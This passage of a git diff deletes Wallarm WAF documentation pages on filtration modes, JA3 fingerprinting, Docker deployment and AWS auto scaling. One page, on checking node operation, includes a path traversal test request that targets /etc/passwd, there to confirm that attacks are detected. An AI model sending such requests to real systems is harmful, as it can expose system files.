**Regras** do Console Wallarm - -As prioridades dos métodos de configuração do modo de filtração são determinadas na [diretiva `wallarm_mode_allow_override`](#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override). Por padrão, as configurações especificadas no Console Wallarm têm uma prioridade maior que a diretiva `wallarm_mode`, independentemente da gravidade de seu valor. - -### Especificando o modo de filtração na diretiva `wallarm_mode` - -!!! warning "Suporte da diretiva `wallarm_mode` no nó CDN" - Por favor, note que a diretiva `wallarm_mode` não pode ser configurada nos [nós CDN do Wallarm](../installation/cdn-node.md). Para configurar o modo de filtração dos nós CDN, por favor utilize outros métodos disponíveis. - -Usando a diretiva `wallarm_mode` no arquivo de configuração do nó de filtragem, você pode definir modos de filtração para diferentes contextos. Esses contextos são ordenados do mais global ao mais local na seguinte lista: - -* `http`: as diretivas dentro do bloco `http` são aplicadas às solicitações enviadas ao servidor HTTP. -* `server`: as diretivas dentro do bloco `server` são aplicadas às solicitações enviadas ao servidor virtual. -* `location`: as diretivas dentro do bloco `location` são aplicadas apenas às solicitações que contêm aquele caminho específico. - -Se diferentes valores da diretiva `wallarm_mode` forem definidos para os blocos `http`, `server` e `location`, a configuração mais local terá a maior prioridade. - -**Exemplo de uso da diretiva `wallarm_mode`:** - -```bash -http { - - wallarm_mode monitoring; - - server { - server_name SERVER_A; - } - - server { - server_name SERVER_B; - wallarm_mode off; - } - - server { - server_name SERVER_C; - wallarm_mode off; - - location /main/content { - wallarm_mode monitoring; - } - - location /main/login { - wallarm_mode block; - } - - location /main/reset-password { - wallarm_mode safe_blocking; - } - } -} -``` - -Neste exemplo, os modos de filtração são definidos para os recursos da seguinte forma: - -1. O modo `monitoring` é aplicado às solicitações enviadas ao servidor HTTP. -2. O modo `monitoring` é aplicado às solicitações enviadas ao servidor virtual `SERVER_A`. -3. O modo `off` é aplicado às solicitações enviadas ao servidor virtual `SERVER_B`. -4. O modo `off` é aplicado às solicitações enviadas ao servidor virtual `SERVER_C`, exceto para as solicitações que contêm o caminho `/main/content`, `/main/login` ou `/main/reset-password`. - 1. O modo `monitoring` é aplicado às solicitações enviadas ao servidor virtual `SERVER_C` que contêm o caminho `/main/content`. - 2. O modo `block` é aplicado às solicitações enviadas ao servidor virtual `SERVER_C` que contêm o caminho `/main/login`. - 3. O modo `safe_blocking` é aplicado às solicitações enviadas ao servidor virtual `SERVER_C` que contêm o caminho `/main/reset-password`. - -### Configuração da regra de filtração geral no Console Wallarm - -Os botões de rádio na guia **Geral** das configurações do Console Wallarm na [Nuvem Wallarm US](https://us1.my.wallarm.com/settings/general) ou [Nuvem Wallarm EU](https://my.wallarm.com/settings/general) definem o modo de filtração geral para todas as solicitações recebidas. O valor da diretiva `wallarm_mode` definido no bloco `http` no arquivo de configuração tem o mesmo escopo de ação que esses botões. - -As configurações do modo de filtração local na guia **Regras** do Console Wallarm têm uma prioridade maior do que as configurações globais na guia **Global**. - -Na guia **Geral**, você pode especificar um dos seguintes modos de filtração: - -* **Configurações locais (padrão)**: o modo de filtração definido usando a [diretiva `wallarm_mode`](#specifying-the-filtering-mode-in-the-wallarm_mode-directive) é aplicado -* [**Monitoramento**](#available-filtration-modes) -* [**Bloqueio seguro**](#available-filtration-modes) -* [**Bloqueio**](#available-filtration-modes) - -![A guia de configurações gerais](../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png) - -!!! info "A sincronização do Cloud Wallarm e do nó de filtragem" - As regras definidas no Console Wallarm são aplicadas durante o processo de sincronização do Cloud Wallarm e do nó de filtragem, que é realizado a cada 2-4 minutos. - - [Mais detalhes sobre a configuração de sincronização do nó de filtragem e do Cloud Wallarm →](configure-cloud-node-synchronization-en.md) - -### Configuração das regras de filtração na guia "Regras" - -Você pode ajustar o modo de filtração para processar solicitações que atendem a suas condições personalizadas na guia **Regras** do Console Wallarm. Estas regras têm uma prioridade maior do que a [regra de filtração geral definida no Console Wallarm](#setting-up-the-general-filtration-rule-in-wallarm-console). - -* [Detalhes sobre o trabalho com regras na guia **Regras** →](../user-guides/rules/rules.md) -* [Guia passo a passo para criar uma regra que gerencia o modo de filtração →](../user-guides/rules/wallarm-mode-rule.md) - -!!! info "A sincronização do Cloud Wallarm e do nó de filtragem" - As regras definidas no Console Wallarm são aplicadas durante o processo de sincronização do Cloud Wallarm e do nó de filtragem, que é realizado a cada 2-4 minutos. - - [Mais detalhes sobre a configuração de sincronização do nó de filtragem e do Cloud Wallarm →](configure-cloud-node-synchronization-en.md) - -### Configuração das prioridades dos métodos de configuração do modo de filtração usando `wallarm_mode_allow_override` - -!!! warning "Suporte da diretiva `wallarm_mode_allow_override` no nó CDN" - Por favor, note que a diretiva `wallarm_mode_allow_override` não pode ser configurada nos [nós CDN Wallarm](../installation/cdn-node.md). - -A diretiva `wallarm_mode_allow_override` gerencia a capacidade de aplicar regras que são definidas no Console Wallarm em vez de usar os valores da diretiva `wallarm_mode` do arquivo de configuração do nó de filtragem. - -Os seguintes valores são válidos para a diretiva `wallarm_mode_allow_override`: - -* `off`: regras especificadas no Console Wallarm são ignoradas. As regras especificadas pela diretiva `wallarm_mode` no arquivo de configuração são aplicadas. -* `strict`: apenas as regras especificadas no Cloud Wallarm que definem modos de filtração mais restritos do que aqueles definidos pela diretiva `wallarm_mode` no arquivo de configuração são aplicadas. - - Os modos de filtração disponíveis ordenados do mais brando ao mais restrito estão listados [acima](#available-filtration-modes). - -* `on` (por padrão): regras especificadas no Console Wallarm são aplicadas. As regras especificadas pela diretiva `wallarm_mode` no arquivo de configuração são ignoradas. - -Os contextos nos quais o valor da diretiva `wallarm_mode_allow_override` pode ser definido, em ordem do mais global ao mais local, são apresentados na seguinte lista: - -* `http`: as diretivas dentro do bloco `http` são aplicadas às solicitações enviadas ao servidor HTTP. -* `server`: as diretivas dentro do bloco `server` são aplicadas às solicitações enviadas ao servidor virtual. -* `location`: as diretivas dentro do bloco `location` são aplicadas apenas às solicitações que contêm aquele caminho específico. - -Se diferentes valores da diretiva `wallarm_mode_allow_override` forem definidos nos blocos `http`, `server` e `location`, então a configuração mais local terá a maior prioridade. - -**Exemplo de uso da diretiva `wallarm_mode_allow_override`:** - -```bash -http { - - wallarm_mode monitoring; - - server { - server_name SERVER_A; - wallarm_mode_allow_override off; - } - - server { - server_name SERVER_B; - wallarm_mode_allow_override on; - - location /main/login { - wallarm_mode_allow_override strict; - } - } -} -``` - -Este exemplo de configuração resulta nas seguintes aplicações das regras de modo de filtração do Console Wallarm: - -1. As regras de modo de filtração definidas no Console Wallarm são ignoradas para solicitações enviadas ao servidor virtual `SERVER_A`. Não há diretiva `wallarm_mode` especificada no bloco `server` que corresponde ao servidor `SERVER_A`, por isso o modo de filtração `monitoring` especificado no bloco `http` é aplicado para tais solicitações. -2. As regras de modo de filtração definidas no Console Wallarm são aplicadas às solicitações enviadas ao servidor virtual `SERVER_B`, exceto para as solicitações que contêm o caminho `/main/login`. -3. Para aquelas solicitações que são enviadas ao servidor virtual `SERVER_B` e contêm o caminho `/main/login`, as regras de modo de filtração definidas no Console Wallarm são aplicadas apenas se definirem um modo de filtração que é mais rigoroso do que o modo `monitoring`. - -## Exemplo de configuração do modo de filtração - -Vamos considerar o exemplo de uma configuração do modo de filtração que usa todos os métodos mencionados acima. - -### Configuração do modo de filtração no arquivo de configuração do nó de filtragem - -```bash -http { - - wallarm_mode block; - - server { - server_name SERVER_A; - wallarm_mode monitoring; - wallarm_mode_allow_override off; - - location /main/login { - wallarm_mode block; - wallarm_mode_allow_override strict; - } - - location /main/signup { - wallarm_mode_allow_override strict; - } - - location /main/apply { - wallarm_mode block; - wallarm_mode_allow_override on; - } - } -} -``` - -### Configuração do modo de filtração no Console Wallarm - -* [Regra de filtração geral](#setting-up-the-general-filtration-rule-in-wallarm-console): **Monitoramento**. -* [Regras de filtração](#setting-up-the-filtration-rules-on-the-rules-tab): - * Se a solicitação atende às seguintes condições: - * Método: `POST` - * Primeira parte do caminho: `main` - * Segunda parte do caminho: `apply`, - - então aplique o modo de filtração **Padrão**. - - * Se a solicitação atende à seguinte condição: - * Primeira parte do caminho: `main`, - - então aplique o modo de filtração **Bloqueio**. - - * Se a solicitação atende às seguintes condições: - * Primeira parte do caminho: `main` - * Segunda parte do caminho: `login`, - - então aplique o modo de filtração **Monitoramento**. - -### Exemplos de solicitações enviadas ao servidor `SERVER_A` - -Exemplos das solicitações enviadas ao servidor configurado `SERVER_A` e as ações que o nó de filtragem Wallarm aplica a elas são as seguintes: - -* A solicitação maliciosa com o caminho `/news` é processada, mas não bloqueada devido à configuração `wallarm_mode monitoring;` para o servidor `SERVER_A`. - -* A solicitação maliciosa com o caminho `/main` é processada, mas não bloqueada devido à configuração `wallarm_mode monitoring;` para o servidor `SERVER_A`. - - A regra **Bloqueio** definida no Console Wallarm não é aplicada devido à configuração `wallarm_mode_allow_override off;` para o servidor `SERVER_A`. - -* A solicitação maliciosa com o caminho `/main/login` é bloqueada devido à configuração `wallarm_mode block;` para as solicitações com o caminho `/main/login`. - - A regra **Monitoramento** definida no Console Wallarm não é aplicada a ela devido à configuração `wallarm_mode_allow_override strict;` no arquivo de configuração do nó de filtragem. - -* A solicitação maliciosa com o caminho `/main/signup` é bloqueada devido à configuração `wallarm_mode_allow_override strict;` para as solicitações com o caminho `/main/signup` e a regra **Bloqueio** definida no Console Wallarm para as solicitações com o caminho `/main`. -* A solicitação maliciosa com o caminho `/main/apply` e o método `GET` é bloqueada devido à configuração `wallarm_mode_allow_override on;` para as solicitações com o caminho `/main/apply` e a regra **Bloqueio** definida no Console Wallarm para as solicitações com o caminho `/main`. -* A solicitação maliciosa com o caminho `/main/apply` e o método `POST` é bloqueada devido à configuração `wallarm_mode_allow_override on;` para as solicitações com o caminho `/main/apply`, a regra **Padrão** definida no Console Wallarm e a configuração `wallarm_mode block;` para as solicitações com o caminho `/main/apply` no arquivo de configuração do nó de filtragem. - -## Melhores práticas sobre a aplicação gradual do modo de filtração - -Para uma integração bem-sucedida de um novo nó Wallarm, siga estas recomendações passo a passo para mudar os modos de filtração: - -1. Implemente nós de filtragem Wallarm em seus ambientes não produtivos com o modo de operação definido como `monitoring`. -1. Implemente nós de filtragem Wallarm em seu ambiente de produção com o modo de operação definido como `monitoring`. -1. Mantenha o tráfego fluindo através dos nós de filtragem em todos os seus ambientes (incluindo os de teste e produção) durante 7 a 14 dias para dar ao backend baseado na nuvem Wallarm algum tempo para aprender sobre sua aplicação. -1. Ative o modo `block` do Wallarm em todos os seus ambientes não produtivos e use testes automatizados ou manuais para confirmar que a aplicação protegida está funcionando conforme o esperado. -1. Ative o modo `block` do Wallarm no ambiente de produção e use os métodos disponíveis para confirmar que a aplicação está funcionando conforme o esperado. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/enabling-ja3.md b/docs/latest-pt-BR/admin-en/enabling-ja3.md deleted file mode 100644 index 8689b28ca0..0000000000 --- a/docs/latest-pt-BR/admin-en/enabling-ja3.md +++ /dev/null @@ -1,113 +0,0 @@ -# Enabling JA3 Fingerprinting - -This article describes how to enable JA3 fingerprinting for the most popular software such as NGINX and infrastructure such as AWS, Google Cloud, and Azure. - -## Overview - -Attackers frequently employ various techniques to bypass security measures, such as user agent (UA) spoofing and IP rotation. These methods make it challenging to detect behavioral attacks in the unauthenticated traffic. [JA3 fingerprinting](https://www.peakhour.io/learning/fingerprinting/what-is-ja3-fingerprinting/) generates an MD5 hash for specific parameters defined during the TLS negotiation between client and server. This fingerprinting method can contribute to building a behavioral profile for [API abuse prevention](../api-abuse-prevention/overview.md). - -## NGINX - -An ability to get a JA3 fingerprint from NGINX makes this identification method available in all NGINX-based Wallarm [deployment options](../installation/supported-deployment-options.md). There are two NGINX modules for JA3: - -| Module | Description | Installation | -| - | - | - | -| [nginx-ssl-ja3](https://github.com/fooinha/nginx-ssl-ja3) | Main nginx module for JA3. Has the `THIS IS NOT PRODUCTION` mark. So there is no guarantee of success. | [Instructions](https://github.com/fooinha/nginx-ssl-ja3#compilation-and-installation) | -| [nginx-ssl-fingerprint](https://github.com/phuslu/nginx-ssl-fingerprint) | Second nginx module for JA3. It has the `high performance` label and also has likes and forks. | [Instructions](https://github.com/phuslu/nginx-ssl-fingerprint#quick-start) | - -In both modules, we need to patch OpenSSL and NGINX. - -An example of module installation (from the `nginx-ssl-fingerprint` module): - -``` -# Clone - -$ git clone -b OpenSSL_1_1_1-stable --depth=1 https://github.com/openssl/openssl -$ git clone -b release-1.23.1 --depth=1 https://github.com/nginx/nginx -$ git clone https://github.com/phuslu/nginx-ssl-fingerprint - -# Patch - -$ patch -p1 -d openssl < nginx-ssl-fingerprint/patches/openssl.1_1_1.patch -$ patch -p1 -d nginx < nginx-ssl-fingerprint/patches/nginx.patch - -# Configure & Build - -$ cd nginx -$ ASAN_OPTIONS=symbolize=1 ./auto/configure --with-openssl=$(pwd)/../openssl --add-module=$(pwd)/../nginx-ssl-fingerprint --with-http_ssl_module --with-stream_ssl_module --with-debug --with-stream --with-cc-opt="-fsanitize=address -O -fno-omit-frame-pointer" --with-ld-opt="-L/usr/local/lib -Wl,-E -lasan" -$ make - -# Test - -$ objs/nginx -p . -c $(pwd)/../nginx-ssl-fingerprint/nginx.conf -$ curl -k https://127.0.0.1:8444 -``` - -Example NGINX configuration: - -``` -server { - listen 80; - server_name example.com; - … - # Proxy pass the JA3 fingerprint header to another app. - proxy_set_header X-Client-TLS-FP-Value $http_ssl_ja3_hash; - proxy_set_header X-Client-TLS-FP–Raw-Value $http_ssl_ja3; - - # Proxy the request to the proxied app. - proxy_pass http://app:8080; -} -``` - -## AWS - -You can configure getting [JA3 fingerprints from AWS CloudFront](https://aws.amazon.com/about-aws/whats-new/2022/11/amazon-cloudfront-supports-ja3-fingerprint-headers/). - -Wallarm can integrate with CloudFront to get the `CloudFront-Viewer-JA3-Fingerprint` and `CloudFront-Viewer-TLS` JA3 headers: - -1. Go to the CloudFront console and select the **Origin Request Policies** tab. -1. Click **Create Origin Request Policy** and set the policy details. - - ![CloudFront - creating origin request policy](../images/configuration-guides/ja3/aws-cloudfront-create-origin-request-policy.png) - -1. In the **Actions** section, select **Add Header**. -1. In the **Header Name** field, enter `CloudFront-Viewer-JA3-Fingerprint`. - - ![CloudFront - adding header to origin request policy](../images/configuration-guides/ja3/aws-cloudfront-origin-request-policy-add-header.png) - -1. Click **Create**. Your origin request policy is now created. -1. To attach the created request policy to your CloudFront distribution, follow the steps below. -1. In CloudFront console, select the distribution to which you want to attach the policy. -1. Click the **Edit** button next to **Origin Request Policies**. -1. Select the checkbox next to the policy you created and save the changes. - - ![CloudFront - attach policy to distribution](../images/configuration-guides/ja3/aws-cloudfront-attach-policy-to-distribution.png) - - Your origin request policy is now attached to your CloudFront distribution. Clients that make requests to your distribution will now have the `CloudFront-Viewer-JA3-Fingerprint` header added to their requests. - -## Google Cloud - -You can configure getting JA3 fingerprints from the classic Google Cloud Application Load Balancer by configuring custom header and getting its value via the `tls_ja3_fingerprint` variable: - -1. Go to the Google Cloud console → **Load balancing**. -1. Click **Backends**. -1. Click the name of a backend service and then **Edit**. -1. Click **Advanced configurations**. -1. Under **Custom request headers**, click **Add header**. -1. Enter the **Header name** and set the **Header value** to `tls_ja3_fingerprint`. -1. Save changes. - -See detailed instructions [here](https://cloud.google.com/load-balancing/docs/https/custom-headers). - -Example configuration request: - -``` -PATCH https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/global/backendServices/BACKEND_SERVICE_NAME -"customRequestHeaders": [ - "X-Client-TLS-FP-Value: {tls_ja3_fingerprint}" -] -``` - -## Azure - -For [Azure Wallarm deployment](../installation/cloud-platforms/azure/docker-container.md), use getting a JA3 fingerprint from NGINX method described [above](#nginx). diff --git a/docs/latest-pt-BR/admin-en/installation-check-operation-en.md b/docs/latest-pt-BR/admin-en/installation-check-operation-en.md deleted file mode 100644 index 1e729a4fa7..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-check-operation-en.md +++ /dev/null @@ -1,52 +0,0 @@ -# Verificando a operação do nó de filtragem - -[doc-configure-parameters]: ../admin-en/configure-parameters-en.md -[doc-stat-service]: ../admin-en/configure-statistics-service.md - -Se tudo estiver configurado corretamente, o Wallarm filtra as solicitações e faz proxy das solicitações filtradas de acordo com as configurações do arquivo de configuração. - -Para verificar a operação correta, você deve: - -1. Executar a solicitação `wallarm-status`. -2. Executar um ataque de teste. - - -## 1. Executar a solicitação `wallarm-status` - -Você pode obter estatísticas de operação do nó de filtragem solicitando a URL `/wallarm-status`. - -Execute o comando: - -``` -curl http://127.0.0.8/wallarm-status -``` - -A saída será assim: - -``` -{ "requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0, -"requests_lost":0,"segfaults":0,"memfaults":0, "softmemfaults":0,"time_detect":0,"db_id":46, -"custom_ruleset_id":16767,"proton_instances": { "total":1,"success":1,"fallback":0,"failed":0 }, -"stalled_workers_count":0,"stalled_workers":[] } -``` - -Isso significa que o serviço de estatísticas do nó de filtragem está funcionando corretamente. - -!!! informação "O serviço de estatísticas" - Você pode ler mais sobre o serviço de estatísticas e como configurá-lo [aqui][doc-stat-service]. - -## 2. Execute um ataque de teste - -Para verificar se o Wallarm detecta corretamente os ataques, envie uma solicitação maliciosa para o recurso protegido. - -Por exemplo: - -``` -http:///etc/passwd -``` - -O Wallarm deve detectar na solicitação [Path Traversal](../attacks-vulns-list.md#path-traversal). - -Agora, o contador do número de ataques aumentará quando uma solicitação para `wallarm-status` for executada, o que significa que o nó de filtragem está operando normalmente. - -Para saber mais sobre as configurações do nó de filtragem do Wallarm, veja o capítulo [Opções de Configuração][doc-configure-parameters]. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-docker-en.md b/docs/latest-pt-BR/admin-en/installation-docker-en.md deleted file mode 100644 index bdc2bfc0aa..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-docker-en.md +++ /dev/null @@ -1,140 +0,0 @@ -# Executando Imagem Docker baseada em NGINX - -O nó de filtragem baseado em NGINX da Wallarm pode ser implantado como um contêiner Docker. O contêiner Docker é grande e contém todos os subsistemas do nó de filtragem. - -A funcionalidade do nó de filtragem instalado dentro do contêiner Docker é completamente idêntica à funcionalidade das outras opções de implantação. - ---8<-- "../include-pt-BR/waf/installation/info-about-nginx-version-in-docker-container.md" - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/docker-images/nginx-based-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/requirements-docker-nginx-4.0.md" - -## Opções para executar o contêiner - ---8<-- "../include-pt-BR/waf/installation/docker-running-options.md" - -## Execute o contêiner passando as variáveis de ambiente - -Para executar o contêiner: - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Execute o contêiner com o nó: - - === "Nuvem dos EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:4.8.0-1 - ``` - === "Nuvem da UE" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e NGINX_BACKEND='example.com' -p 80:80 wallarm/node:4.8.0-1 - ``` - -Você pode passar as seguintes configurações básicas do nó de filtragem para o contêiner via a opção `-e`: - ---8<-- "../include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md" - -O comando faz o seguinte: - -* Cria o arquivo `default` com configuração mínima do NGINX e passa a configuração do nó de filtragem no diretório do contêiner `/etc/nginx/sites-enabled`. -* Cria arquivos com as credenciais do nó de filtragem para acessar a Wallarm Cloud no diretório do contêiner `/etc/wallarm`: - * `node.yaml` com UUID do nó de filtragem e chave secreta - * `private.key` com a chave privada da Wallarm -* Protege o recurso `http://NGINX_BACKEND:80`. - -## Execute o contêiner montando o arquivo de configuração - -Você pode montar o arquivo de configuração preparado no contêiner Docker por meio da opção `-v`. O arquivo deve conter as seguintes configurações: - -* [Diretivas do nó de filtragem][nginx-directives-docs] -* [Configurações do NGINX](https://nginx.org/en/docs/beginners_guide.html) - -Para executar o contêiner: - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Execute o contêiner com o nó: - - === "Nuvem dos EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.8.0-1 - ``` - === "Nuvem da UE" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.8.0-1 - ``` - - * A opção `-e` passa as seguintes variáveis de ambiente necessárias para o contêiner: - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * A opção `-v` monta o diretório com o arquivo de configuração `default` no diretório do contêiner `/etc/nginx/sites-enabled`. - - ??? info "Veja um exemplo do arquivo montado com configurações mínimas" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - !!! info "Montando outros arquivos de configuração" - Os diretórios do contêiner usados pelo NGINX: - - * `/etc/nginx/conf.d` — configurações comuns - * `/etc/nginx/sites-enabled` — configurações do host virtual - * `/var/www/html` — arquivos estáticos - - Se necessário, você pode montar quaisquer arquivos nos diretórios do contêiner listados. As diretivas do nó de filtragem devem ser descritas no arquivo `/etc/nginx/sites-enabled/default`. - -O comando faz o seguinte: - -* Monta o arquivo `default` no diretório do contêiner `/etc/nginx/sites-enabled`. -* Cria arquivos com as credenciais do nó de filtragem para acessar a Cloud da Wallarm no diretório do contêiner `/etc/wallarm`: - * `node.yaml` com UUID do nó de filtragem e chave secreta - * `private.key` com a chave privada da Wallarm -* Protege o recurso `http://example.com`. - -## Configuração de log - -O log é habilitado por padrão. Os diretórios de log são: - -* `/var/log/nginx` — Logs do NGINX -* `/var/log/wallarm` — Logs do nó Wallarm - -Para configurar a geração estendida de logs das variáveis do nó de filtragem, use estas [instruções][logging-instr]. - -Por padrão, os logs giram a cada 24 horas. Para configurar a rotação de log, altere os arquivos de configuração em `/etc/logrotate.d/`. A alteração dos parâmetros de rotação por meio de variáveis de ambiente não é possível. - -## Testando a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Configurando os casos de uso - -O arquivo de configuração montado no contêiner Docker deve descrever a configuração do nó de filtragem na [diretiva disponível][nginx-directives-docs]. Abaixo estão algumas opções de configuração do nó de filtragem comumente usadas: - ---8<-- "../include-pt-BR/waf/installation/common-customization-options-docker-4.4.md" diff --git a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index 52e52be2f3..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1,171 +0,0 @@ -[link-doc-ami-creation]: create-image.md -[link-doc-lb-guide]: load-balancing-guide.md - -[link-ssh-keys-guide]: ../../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys -[link-security-group-guide]: ../../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group - -[link-doc-as-faq]: https://aws.amazon.com/autoscaling/faqs/ - -[img-create-lt-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-launch-template.png -[img-create-asg-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-asg-with-template.png -[img-asg-wizard-1]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/asg-wizard-1.png -[img-asg-increase-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-increase.png -[img-asg-decrease-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-decrease.png -[img-alarm-example]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/alarm-example.png -[img-check-asg-in-cloud]: ../../../images/cloud-node-status.png - -[anchor-lt]: #1-creating-a-launch-template -[anchor-asg]: #2-creating-an-auto-scaling-group - -# Configurando o auto scaling do nó de filtragem - -!!! info "Direitos necessários" - Antes de configurar o auto scaling, certifique-se de que sua conta da Amazon AWS tem concedido um dos seguintes direitos: - - * `AutoScalingFullAccess` - * `AutoScalingConsoleFullAccess` - -Para configurar o auto scaling do nó de filtragem, siga os seguintes passos: -1. [Criando um Template de Lançamento][anchor-lt] -2. [Criando um Grupo de Auto Scaling][anchor-asg] - -## 1. Criando um Template de Lançamento - -Um Template de Lançamento define o tipo de instância a ser usado durante o fornecimento de uma Imagem de Máquina Amazon (AMI) e configura alguns dos parâmetros gerais da máquina virtual. - -Crie um Template de Lançamento fazendo os seguintes passos: - -1. Navegue até a aba **Templates de Lançamento** no painel da Amazon EC2 e clique no botão **Criar template de lançamento**. - -2. Insira o nome do template no campo **Nome do template de lançamento**. - -3. Selecione a [Imagem de Máquina Amazon criada anteriormente][link-doc-ami-creation]. Para fazer isso, clique no link **Pesquisar por AMI** e selecione a imagem necessária do catálogo **Minhas AMIs**. - -4. Selecione o tipo de instância para lançar uma máquina virtual de nó de filtragem a partir da lista **Tipo de instância**. - - !!! warning "Selecione o tipo de instância apropriado" - Selecione o mesmo tipo de instância que você usou quando configurou inicialmente o nó de filtragem ou um mais poderoso. - - Usar um tipo de instância menos poderoso pode levar a problemas na operação do nó de filtragem. - -5. Selecione o nome do [par de chaves SSH criado anteriormente][link-ssh-keys-guide] para acessar o nó de filtragem a partir da lista **Nome do par de chaves**. - -6. Selecione o [Grupo de Segurança criado anteriormente][link-security-group-guide] a partir da lista **Grupos de Segurança**. - -7. Clique no botão **Criar template de lançamento**. - - ![Criando um Template de Lançamento][img-create-lt-wizard] - -Aguarde até que o processo de criação do template seja concluído. - -Após criar o Template de Lançamento, você pode prosseguir com a criação de um Grupo de Auto Scaling. - -## 2. Criando um Grupo de Auto Scaling - -!!! info "Selecionando um método de auto scaling" - Esta seção descreve o processo de criação de um Grupo de Auto Scaling usando o método EC2 Auto Scaling. - - Você também pode usar o método AWS Auto Scaling. - - Para ver um FAQ detalhado sobre métodos de auto scaling da Amazon, prossiga para este [link][link-doc-as-faq]. - -Para criar um Grupo de Auto Scaling, faça o seguinte: - -1. Navegue até a aba **Grupos de Auto Scaling** no painel da Amazon EC2 e clique no botão **Criar Grupo de Auto Scaling**. - -2. Selecione a opção **Template de Lançamento**, selecione o [Template de Lançamento criado anteriormente][anchor-lt] da lista e clique no botão **Próximo passo**. - - ![Criando um Grupo de Auto Scaling][img-create-asg-wizard] - -3. Insira o nome desejado do Grupo de Auto Scaling no campo **Nome do grupo**. - -4. Selecione a versão **Mais recente** do Template de Lançamento a partir da lista **Versão do Template de Lançamento**. - -5. Selecione o tipo de instância necessário para o Grupo de Auto Scaling escolhendo uma das opções **Composição da frota**. - - Se você seguiu este guia ao criar um Template de Lançamento e um tipo de instância para lançar máquinas virtuais foi especificado, então você pode usar a opção **Aderir ao template de lançamento**. - - !!! info "Selecione o tipo de instância apropriado" - Você também pode selecionar a opção **Combinar opções de compra e instâncias** se nenhum tipo de instância for especificado no seu Template de Lançamento ou se você quiser selecionar múltiplos tipos de instância diferentes para auto scaling. - - Selecione o mesmo tipo de instância que você usou quando configurou inicialmente o nó de filtragem ou um mais poderoso. Usar um tipo de instância menos poderoso pode levar a problemas na operação do nó de filtragem. - -6. Insira o tamanho inicial do Grupo de Auto Scaling no campo **Tamanho do grupo** (por exemplo, duas instâncias). - -7. Selecione o VPC correto a partir da lista drop-down **Rede**. - -8. Selecione as sub-redes corretas a partir da lista drop-down **Sub-redes**. - - !!! warning "Forneça uma conexão com a internet para o nó de filtragem" - O nó de filtragem requer acesso ao servidor API Wallarm para funcionamento adequado. A escolha do servidor API Wallarm depende da Nuvem Wallarm que você está usando: - - * Se você estiver usando a Nuvem US, seu nó precisa ter acesso concedido a `https://us1.api.wallarm.com`. - * Se você estiver usando a Nuvem EU, seu nó precisa ter acesso concedido a `https://api.wallarm.com`. - - Certifique-se de escolher o VPC e as sub-redes corretos e [configurar um grupo de segurança][link-security-group-guide] de forma a não impedir o acesso do nó de filtragem aos servidores API da Wallarm. - - ![Configurações gerais do Grupo de Auto Scaling][img-asg-wizard-1] - -9. Navegue para a página **Configurar políticas de scaling** clicando no botão **Próximo: Configurar políticas de scaling**. - -10. Selecione a opção **Use políticas de scaling para ajustar a capacidade deste grupo** para ativar o auto scaling. - -11. Insira o tamanho mínimo e máximo do Grupo de Auto Scaling. - - !!! info "Tamanho do Grupo de Auto Scaling" - Note que o tamanho mínimo do Grupo de Auto Scaling pode ser menor que o tamanho inicial do grupo especificado no sexto passo. - -12. Ative o modo de configuração de políticas passo a passo selecionando a opção **Escale o Grupo de Auto Scaling usando políticas de scaling passo a passo ou simples**. - -13. Configure a política de aumento do tamanho do grupo usando o grupo de parâmetros **Aumentar Tamanho do Grupo**. - - ![Política de aumento do tamanho do Grupo de Auto Scaling][img-asg-increase-policy] - - 1. Se necessário, especifique o nome da política de aumento do tamanho do grupo usando o parâmetro **Nome**. - - 2. Selecione o evento a partir do **Execute a política quando** para especificar o evento que provocará o aumento do tamanho do grupo. Se você não criou nenhum evento anteriormente, clique no botão **Adicionar Alarme** para criar um evento. - - 3. Você pode configurar um nome de evento, uma métrica para monitorar e notificações sobre ocorrências de eventos. - - !!! info "Funções necessárias para configurar notificações" - Sua conta Amazon 